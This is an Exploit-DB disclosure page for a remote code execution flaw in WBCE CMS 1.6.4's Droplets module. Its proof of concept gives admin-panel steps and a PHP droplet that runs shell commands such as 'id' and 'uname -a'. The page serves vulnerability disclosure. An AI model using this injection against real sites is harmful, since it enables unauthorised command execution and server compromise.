A critical remote code execution vulnerability exists in the Droplets module of WBCE CMS version 1.6.4, allowing authenticated administrators to inject and execute arbitrary PHP code. The exploit involves creating a malicious droplet via the admin panel and embedding it on a site page. The article does not provide a CVSS score, fixed version, or workaround information.
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING WBCE CMS 1.6.4 - Remote Code Execution EDB-ID: 52489 CVE: N/A EDB Verified: Author: RED Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-06 Vulnerable App: # Exploit Title: WBCE CMS 1.6.4 - Remote Code Execution # Date: 2024-10-26 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://wbce.org/ # Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/v1.6.4 # Version: 1.6.4 # Tested on: Linux (Debian/Parrot OS) ## Vulnerability Description WBCE CMS version 1.6.4 contains a critical remote code execution vulnerability in the Droplets module. Authenticated attackers with administrator privileges can inject and execute arbitrary PHP code, leading to complete system compromise. ## Proof of Concept 1. Log in to the WBCE admin panel with administrator credentials 2. Navigate to "Admin-Tools" in the sidebar menu 3. Click on "Droplets" to access the droplet management interface 4. Click "Add droplet" to create a new droplet 5. Enter a random name for the droplet and insert the following malicious code in the code area: echo "<h3>System Information PoC</h3>"; echo "<pre>"; if(function_exists('shell_exec')) { echo "1. Current User: " . shell_exec('id'); echo "2. Working Directory: " . shell_exec('pwd'); echo "3. System Info: " . shell_exec('uname -a'); echo "4. PHP Version: " . phpversion(); } else { echo "shell_exec disabled - but eval() still works!"; echo "Current User (via PHP): " . get_current_user(); echo "System: " . PHP_OS; } echo "</pre>"; 6. Click "Save & Back" to store the droplet 7. Copy the droplet code name (e.g., `[[test]]`) from the droplets list. You can find this under the description column by clicking the info icon. 8. Edit or create any page and insert the droplet code name within double brackets 9. View the page to observe the command execution output, confirming remote code execution Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.